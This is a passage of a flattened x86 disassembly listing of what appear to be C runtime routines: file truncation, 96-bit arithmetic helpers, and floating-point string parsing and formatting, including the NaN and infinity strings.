sub_4250B2+4Aj ... push esi push 8 push dword_4DD384 call near ptr 27E0000h nop mov edi, eax test edi, edi jnz short loc_425156 loc_425132: ; CODE XREF: sub_4250B2+26j cmp dword_4DBE48, 0 jz short loc_425156 push esi call sub_41FBB2 test eax, eax pop ecx jz short loc_42515F jmp short loc_4250D3 ; --------------------------------------------------------------------------- loc_425148: ; CODE XREF: sub_4250B2+48j push [ebp+arg_0] loc_42514B: ; CODE XREF: sub_4250B2+ABj push 0 push edi call sub_41BF70 add esp, 0Ch loc_425156: ; CODE XREF: sub_4250B2+7Ej ; sub_4250B2+87j mov eax, edi loc_425158: ; CODE XREF: sub_4250B2+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_42515C: ; CODE XREF: sub_4250B2+69j push esi jmp short loc_42514B ; --------------------------------------------------------------------------- loc_42515F: ; CODE XREF: sub_4250B2+92j xor eax, eax jmp short loc_425158 sub_4250B2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4241E3 loc_425163: ; CODE XREF: sub_4241E3+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4DD020, esi jle short loc_4251B6 loc_425172: ; CODE XREF: sub_4241E3+FD1j mov eax, dword_4DC01C mov eax, [eax+esi*4] test eax, eax jz short loc_4251AD test byte ptr [eax+0Ch], 83h jz short loc_425191 push eax call sub_41BA3B cmp eax, 0FFFFFFFFh pop ecx jz short loc_425191 inc edi loc_425191: ; CODE XREF: sub_4241E3+F9Fj ; sub_4241E3+FABj cmp esi, 14h jl short loc_4251AD mov eax, dword_4DC01C push dword ptr [eax+esi*4] call sub_41BA91 mov eax, dword_4DC01C pop ecx and dword ptr [eax+esi*4], 0 loc_4251AD: ; CODE XREF: sub_4241E3+F99j ; sub_4241E3+FB1j inc esi cmp esi, dword_4DD020 jl short loc_425172 loc_4251B6: ; CODE XREF: sub_4241E3+F8Dj mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_4241E3 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4251BB proc near ; CODE XREF: sub_42423B+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_41C500 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4DD140 jnb loc_4252F0 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DD040[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_4252F0 push 1 push esi push ebx call sub_422F09 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_4252FA push 2 push esi push ebx call sub_422F09 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_4252FA push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_42529D push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_41BF70 loc_425240: ; DATA XREF: ___:off_438CB8o push 8000h push ebx call sub_425D78 add esp, 14h mov [ebp+arg_4], eax loc_425251: ; CODE XREF: sub_4251BB+BDj mov eax, 1000h cmp edi, eax jge short loc_42525C mov eax, edi loc_42525C: ; CODE XREF: sub_4251BB+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_4230FB add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_42527A sub edi, eax test edi, edi jle short loc_425290 jmp short loc_425251 ; --------------------------------------------------------------------------- loc_42527A: ; CODE XREF: sub_4251BB+B5j cmp dword_4DBDE0, 5 jnz short loc_42528D mov dword_4DBDDC, 0Dh loc_42528D: ; CODE XREF: sub_4251BB+C6j or esi, 0FFFFFFFFh loc_425290: ; CODE XREF: sub_4251BB+BBj push [ebp+arg_4] push ebx call sub_425D78 pop ecx pop ecx jmp short loc_4252DD ; --------------------------------------------------------------------------- loc_42529D: ; CODE XREF: sub_4251BB+71j jge short loc_4252DD push 0 push [ebp+arg_4] push ebx call sub_422F09 push ebx call sub_4240AA add esp, 10h push eax nop call near ptr 2600000h mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_4252DD mov dword_4DBDDC, 0Dh call near ptr 269086Bh nop mov dword_4DBDE0, eax loc_4252DD: ; CODE XREF: sub_4251BB+E0j ; sub_4251BB:loc_42529Dj ... push 0 push [ebp+arg_0] push ebx call sub_422F09 add esp, 0Ch mov eax, esi pop edi jmp short loc_4252FD ; --------------------------------------------------------------------------- loc_4252F0: ; CODE XREF: sub_4251BB+1Aj ; sub_4251BB+36j mov dword_4DBDDC, 9 loc_4252FA: ; CODE XREF: sub_4251BB+4Ej ; sub_4251BB+63j or eax, 0FFFFFFFFh loc_4252FD: ; CODE XREF: sub_4251BB+133j pop esi pop ebx leave retn sub_4251BB endp ; =============== S U B R O U T I N E ======================================= sub_425301 proc near ; CODE XREF: sub_4249DF+2Bp ; sub_4249DF+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_425317 cmp ecx, esi jnb short loc_42531A loc_425317: ; CODE XREF: sub_425301+10j push 1 pop eax loc_42531A: ; CODE XREF: sub_425301+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_425301 endp ; =============== S U B R O U T I N E ======================================= sub_425322 proc near ; CODE XREF: sub_4253DB+40p ; sub_4253DB+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_425301 add esp, 0Ch test eax, eax jz short loc_425354 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_425301 add esp, 0Ch test eax, eax jz short loc_425354 inc dword ptr [esi+8] loc_425354: ; CODE XREF: sub_425322+19j ; sub_425322+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_425301 add esp, 0Ch test eax, eax jz short loc_42536C inc dword ptr [esi+8] loc_42536C: ; CODE XREF: sub_425322+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_425301 add esp, 0Ch pop edi pop esi retn sub_425322 endp ; =============== S U B R O U T I N E ======================================= sub_425380 proc near ; CODE XREF: sub_4253DB+30p ; sub_4253DB+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_425380 endp ; =============== S U B R O U T I N E ======================================= sub_4253AE proc near ; CODE XREF: sub_425973+1C8p ; sub_425DEE+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4253AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4253DB proc near ; CODE XREF: sub_4254A2+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_42544F push edi mov [ebp+arg_8], eax loc_425402: ; CODE XREF: sub_4253DB+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_425380 push ebx call sub_425380 lea eax, [ebp+var_10] push eax push ebx call sub_425322 push ebx call sub_425380 mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_425322 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_425402 xor edx, edx pop edi loc_42544F: ; CODE XREF: sub_4253DB+21j ; sub_4253DB+9Fj cmp [ebx+8], edx jnz short loc_42547C mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_42544F ; --------------------------------------------------------------------------- loc_42547C: ; CODE XREF: sub_4253DB+77j mov esi, 8000h loc_425481: ; CODE XREF: sub_4253DB+B9j test [ebx+8], esi jnz short loc_425496 push ebx call sub_425380 add [ebp+var_4], 0FFFFh pop ecx jmp short loc_425481 ; --------------------------------------------------------------------------- loc_425496: ; CODE XREF: sub_4253DB+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_4253DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4254A2 proc near ; CODE XREF: sub_424D28+17p ; sub_424D55+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_4254DD: ; CODE XREF: sub_4254A2+52j mov cl, [edi] cmp cl, 20h jz short loc_4254F3 cmp cl, 9 jz short loc_4254F3 cmp cl, 0Ah jz short loc_4254F3 cmp cl, 0Dh jnz short loc_4254F6 loc_4254F3: ; CODE XREF: sub_4254A2+40j ; sub_4254A2+45j ... inc edi jmp short loc_4254DD ; --------------------------------------------------------------------------- loc_4254F6: ; CODE XREF: sub_4254A2+4Fj push 4 pop esi loc_4254F9: ; CODE XREF: sub_4254A2+AEj ; sub_4254A2+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_42577C ; default ; jumptable 00425505 case 10 jmp off_425943[eax*4] ; switch jump loc_42550C: ; DATA XREF: ___:off_425943o cmp bl, 31h ; jumptable 00425505 case 0 jl short loc_42551D cmp bl, 39h jg short loc_42551D loc_425516: ; CODE XREF: sub_4254A2+C4j ; sub_4254A2+118j push 3 jmp loc_42573A ; --------------------------------------------------------------------------- loc_42551D: ; CODE XREF: sub_4254A2+6Dj ; sub_4254A2+72j cmp bl, byte_43D088 jnz short loc_42552C loc_425525: ; CODE XREF: sub_4254A2+124j push 5 jmp loc_425772 ; --------------------------------------------------------------------------- loc_42552C: ; CODE XREF: sub_4254A2+81j movsx eax, bl sub eax, 2Bh jz short loc_425552 dec eax dec eax jz short loc_425546 sub eax, 3 jnz loc_425815 jmp loc_4255D5 ; --------------------------------------------------------------------------- loc_425546: ; CODE XREF: sub_4254A2+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_4254F9 ; --------------------------------------------------------------------------- loc_425552: ; CODE XREF: sub_4254A2+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_4254F9 ; --------------------------------------------------------------------------- loc_42555B: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp bl, 31h ; jumptable 00425505 case 1 mov [ebp+var_10], edx jl short loc_425568 cmp bl, 39h jle short loc_425516 loc_425568: ; CODE XREF: sub_4254A2+BFj cmp bl, byte_43D088 jz loc_425630 cmp bl, 2Bh jz short loc_4255AA cmp bl, 2Dh jz short loc_4255AA cmp bl, 30h jz short loc_4255D5 loc_425583: ; CODE XREF: sub_4254A2+207j cmp bl, 43h jle loc_425815 cmp bl, 45h jle short loc_4255A3 cmp bl, 63h jle loc_425815 cmp bl, 65h jg loc_425815 loc_4255A3: ; CODE XREF: sub_4254A2+EDj push 6 jmp loc_425772 ; --------------------------------------------------------------------------- loc_4255AA: ; CODE XREF: sub_4254A2+D5j ; sub_4254A2+DAj ... dec edi push 0Bh jmp loc_425772 ; --------------------------------------------------------------------------- loc_4255B2: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp bl, 31h ; jumptable 00425505 case 2 jl short loc_4255C0 cmp bl, 39h jle loc_425516 loc_4255C0: ; CODE XREF: sub_4254A2+113j cmp bl, byte_43D088 jz loc_425525 cmp bl, 30h jnz loc_42578A loc_4255D5: ; CODE XREF: sub_4254A2+9Fj ; sub_4254A2+DFj mov eax, edx jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_4255DC: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o mov [ebp+var_10], edx ; jumptable 00425505 case 3 loc_4255DF: ; CODE XREF: sub_4254A2+184j cmp dword_43D084, edx jle short loc_4255F8 movzx eax, bl push esi push eax call sub_41FDB5 pop ecx pop ecx push 1 pop edx jmp short loc_425606 ; --------------------------------------------------------------------------- loc_4255F8: ; CODE XREF: sub_4254A2+143j mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425606: ; CODE XREF: sub_4254A2+154j test eax, eax jz short loc_425628 cmp [ebp+var_4], 19h jnb short loc_425620 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_425623 ; --------------------------------------------------------------------------- loc_425620: ; CODE XREF: sub_4254A2+16Cj inc [ebp+var_8] loc_425623: ; CODE XREF: sub_4254A2+17Cj mov bl, [edi] inc edi jmp short loc_4255DF ; --------------------------------------------------------------------------- loc_425628: ; CODE XREF: sub_4254A2+166j cmp bl, byte_43D088 jnz short loc_425697 loc_425630: ; CODE XREF: sub_4254A2+CCj mov eax, esi jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_425637: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp [ebp+var_4], 0 ; jumptable 00425505 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_425650 loc_425643: ; CODE XREF: sub_4254A2+1ACj cmp bl, 30h jnz short loc_425650 dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_425643 ; --------------------------------------------------------------------------- loc_425650: ; CODE XREF: sub_4254A2+19Fj ; sub_4254A2+1A4j ... cmp dword_43D084, edx jle short loc_425669 movzx eax, bl push esi push eax call sub_41FDB5 pop ecx pop ecx push 1 pop edx jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425669: ; CODE XREF: sub_4254A2+1B4j mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425677: ; CODE XREF: sub_4254A2+1C5j test eax, eax jz short loc_425697 cmp [ebp+var_4], 19h jnb short loc_425692 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_425692: ; CODE XREF: sub_4254A2+1DDj mov bl, [edi] inc edi jmp short loc_425650 ; --------------------------------------------------------------------------- loc_425697: ; CODE XREF: sub_4254A2+18Cj ; sub_4254A2+1D7j cmp bl, 2Bh jz loc_4255AA cmp bl, 2Dh jz loc_4255AA jmp loc_425583 ; --------------------------------------------------------------------------- loc_4256AE: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp dword_43D084, edx ; jumptable 00425505 case 5 mov [ebp+var_24], edx jle short loc_4256CA movzx eax, bl push esi push eax call sub_41FDB5 pop ecx pop ecx push 1 pop edx jmp short loc_4256D8 ; --------------------------------------------------------------------------- loc_4256CA: ; CODE XREF: sub_4254A2+215j mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4256D8: ; CODE XREF: sub_4254A2+226j test eax, eax jz loc_42578A mov eax, esi jmp short loc_42573B ; --------------------------------------------------------------------------- loc_4256E4: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o lea ecx, [edi-2] ; jumptable 00425505 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_4256F4 cmp bl, 39h jle short loc_425738 loc_4256F4: ; CODE XREF: sub_4254A2+24Bj movsx eax, bl sub eax, 2Bh jz short loc_425770 dec eax dec eax jz short loc_425764 sub eax, 3 jnz loc_425818 loc_425709: ; CODE XREF: sub_4254A2+2A4j push 8 jmp short loc_425772 ; --------------------------------------------------------------------------- loc_42570D: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o mov [ebp+var_20], edx ; jumptable 00425505 case 8 loc_425710: ; CODE XREF: sub_4254A2+276j cmp bl, 30h jnz short loc_42571A mov bl, [edi] inc edi jmp short loc_425710 ; --------------------------------------------------------------------------- loc_42571A: ; CODE XREF: sub_4254A2+271j cmp bl, 31h jl loc_425815 cmp bl, 39h jg loc_425815 jmp short loc_425738 ; --------------------------------------------------------------------------- loc_42572E: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp bl, 31h ; jumptable 00425505 case 7 jl short loc_425741 cmp bl, 39h jg short loc_425741 loc_425738: ; CODE XREF: sub_4254A2+250j ; sub_4254A2+28Aj push 9 loc_42573A: ; CODE XREF: sub_4254A2+76j pop eax loc_42573B: ; CODE XREF: sub_4254A2+240j dec edi jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_425741: ; CODE XREF: sub_4254A2+28Fj ; sub_4254A2+294j cmp bl, 30h jnz short loc_42578A jmp short loc_425709 ; --------------------------------------------------------------------------- loc_425748: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o cmp [ebp+arg_18], 0 ; jumptable 00425505 case 11 jz short loc_425778 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_425770 dec eax dec eax jnz loc_425818 loc_425764: ; CODE XREF: sub_4254A2+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_425770: ; CODE XREF: sub_4254A2+258j ; sub_4254A2+2B8j push 7 loc_425772: ; CODE XREF: sub_4254A2+85j ; sub_4254A2+103j ... pop eax jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_425778: ; CODE XREF: sub_4254A2+2AAj push 0Ah dec edi pop eax loc_42577C: ; CODE XREF: sub_4254A2+5Dj ; sub_4254A2+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00425505 case 10 jz loc_42581A jmp loc_4254F9 ; --------------------------------------------------------------------------- loc_42578A: ; CODE XREF: sub_4254A2+12Dj ; sub_4254A2+238j ... mov edi, [ebp+arg_8] jmp loc_42581A ; --------------------------------------------------------------------------- loc_425792: ; CODE XREF: sub_4254A2+63j ; DATA XREF: ___:off_425943o mov [ebp+var_20], 1 ; jumptable 00425505 case 9 xor esi, esi loc_42579B: ; CODE XREF: sub_4254A2+339j cmp dword_43D084, 1 jle short loc_4257B3 movzx eax, bl push 4 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_4257C2 ; --------------------------------------------------------------------------- loc_4257B3: ; CODE XREF: sub_4254A2+300j mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_4257C2: ; CODE XREF: sub_4254A2+30Fj test eax, eax jz short loc_4257E2 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_4257DD mov bl, [edi] inc edi jmp short loc_42579B ; --------------------------------------------------------------------------- loc_4257DD: ; CODE XREF: sub_4254A2+334j mov esi, 1451h loc_4257E2: ; CODE XREF: sub_4254A2+322j mov [ebp+var_1C], esi loc_4257E5: ; CODE XREF: sub_4254A2+371j cmp dword_43D084, 1 jle short loc_4257FD movzx eax, bl push 4 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_42580C ; --------------------------------------------------------------------------- loc_4257FD: ; CODE XREF: sub_4254A2+34Aj mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_42580C: ; CODE XREF: sub_4254A2+359j test eax, eax jz short loc_425815 mov bl, [edi] inc edi jmp short loc_4257E5 ; --------------------------------------------------------------------------- loc_425815: ; CODE XREF: sub_4254A2+99j ; sub_4254A2+E4j ... dec edi jmp short loc_42581A ; --------------------------------------------------------------------------- loc_425818: ; CODE XREF: sub_4254A2+261j ; sub_4254A2+2BCj mov edi, ecx loc_42581A: ; CODE XREF: sub_4254A2+2DDj ; sub_4254A2+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_425902 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_425846 cmp [ebp+var_45], 5 jl short loc_42583A inc [ebp+var_45] loc_42583A: ; CODE XREF: sub_4254A2+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_425849 ; --------------------------------------------------------------------------- loc_425846: ; CODE XREF: sub_4254A2+38Dj mov eax, [ebp+var_C] loc_425849: ; CODE XREF: sub_4254A2+3A2j cmp [ebp+var_4], 0 jbe loc_4258F8 loc_425853: ; CODE XREF: sub_4254A2+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_425861 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_425853 ; --------------------------------------------------------------------------- loc_425861: ; CODE XREF: sub_4254A2+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_4253DB mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_425880 neg eax loc_425880: ; CODE XREF: sub_4254A2+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_42588B add eax, [ebp+arg_10] loc_42588B: ; CODE XREF: sub_4254A2+3E4j cmp [ebp+var_24], ecx jnz short loc_425893 sub eax, [ebp+arg_14] loc_425893: ; CODE XREF: sub_4254A2+3ECj cmp eax, 1450h jle short loc_4258CA mov [ebp+var_2C], 1 loc_4258A1: ; CODE XREF: sub_4254A2+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4258AD: ; CODE XREF: sub_4254A2+454j ; sub_4254A2+45Ej cmp [ebp+var_2C], 0 jz short loc_425913 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_425928 ; --------------------------------------------------------------------------- loc_4258CA: ; CODE XREF: sub_4254A2+3F6j cmp eax, 0FFFFEBB0h jge short loc_4258DA mov [ebp+var_30], 1 jmp short loc_4258A1 ; --------------------------------------------------------------------------- loc_4258DA: ; CODE XREF: sub_4254A2+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_42600E mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4258AD ; --------------------------------------------------------------------------- loc_4258F8: ; CODE XREF: sub_4254A2+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4258AD ; --------------------------------------------------------------------------- loc_425902: ; CODE XREF: sub_4254A2+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_425928 ; --------------------------------------------------------------------------- loc_425913: ; CODE XREF: sub_4254A2+40Fj cmp [ebp+var_30], 0 jz short loc_425928 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_425928: ; CODE XREF: sub_4254A2+426j ; sub_4254A2+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4254A2 endp ; --------------------------------------------------------------------------- off_425943 dd offset loc_42550C ; DATA XREF: sub_4254A2+63r dd offset loc_42555B ; jump table for switch statement dd offset loc_4255B2 dd offset loc_4255DC dd offset loc_425637 dd offset loc_4256AE dd offset loc_4256E4 dd offset loc_42572E dd offset loc_42570D dd offset loc_425792 dd offset loc_42577C dd offset loc_425748 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425973 proc near ; CODE XREF: sub_424DF9+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_4259D5 mov byte ptr [ebx+2], 2Dh jmp short loc_4259D9 ; --------------------------------------------------------------------------- loc_4259D5: ; CODE XREF: sub_425973+5Aj mov byte ptr [ebx+2], 20h loc_4259D9: ; CODE XREF: sub_425973+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_4259FF test edi, edi jnz short loc_4259FF cmp [ebp+arg_0], edi jnz short loc_4259FF loc_4259EA: ; CODE XREF: sub_425973+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_425BFD ; --------------------------------------------------------------------------- loc_4259FF: ; CODE XREF: sub_425973+6Cj ; sub_425973+70j ... cmp dx, si jnz short loc_425A7E mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_425A18 cmp [ebp+arg_0], 0 jz short loc_425A27 loc_425A18: ; CODE XREF: sub_425973+9Dj test edi, 40000000h jnz short loc_425A27 push offset a1Snan ; "1#SNAN" jmp short loc_425A6D ; --------------------------------------------------------------------------- loc_425A27: ; CODE XREF: sub_425973+A3j ; sub_425973+ABj test cx, cx jz short loc_425A41 cmp edi, 0C0000000h jnz short loc_425A41 cmp [ebp+arg_0], 0 jnz short loc_425A68 push offset a1Ind ; "1#IND" jmp short loc_425A50 ; --------------------------------------------------------------------------- loc_425A41: ; CODE XREF: sub_425973+B7j ; sub_425973+BFj cmp edi, eax jnz short loc_425A68 cmp [ebp+arg_0], 0 jnz short loc_425A68 push offset a1Inf ; "1#INF" loc_425A50: ; CODE XREF: sub_425973+CCj lea eax, [ebx+4] push eax call sub_41C890 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_425A5F: ; CODE XREF: sub_425973+109j and [ebp+var_4], 0 jmp loc_425BD6 ; --------------------------------------------------------------------------- loc_425A68: ; CODE XREF: sub_425973+C5j ; sub_425973+D0j ... push offset a1Qnan ; "1#QNAN" loc_425A6D: ; CODE XREF: sub_425973+B2j lea eax, [ebx+4] push eax call sub_41C890 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_425A5F ; --------------------------------------------------------------------------- loc_425A7E: ; CODE XREF: sub_425973+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_42600E add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_425ADF lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_425DEE pop ecx pop ecx loc_425ADF: ; CODE XREF: sub_425973+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_425AF9 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_425AFC jmp loc_4259EA ; --------------------------------------------------------------------------- loc_425AF9: ; CODE XREF: sub_425973+173j mov edi, [ebp+arg_C] loc_425AFC: ; CODE 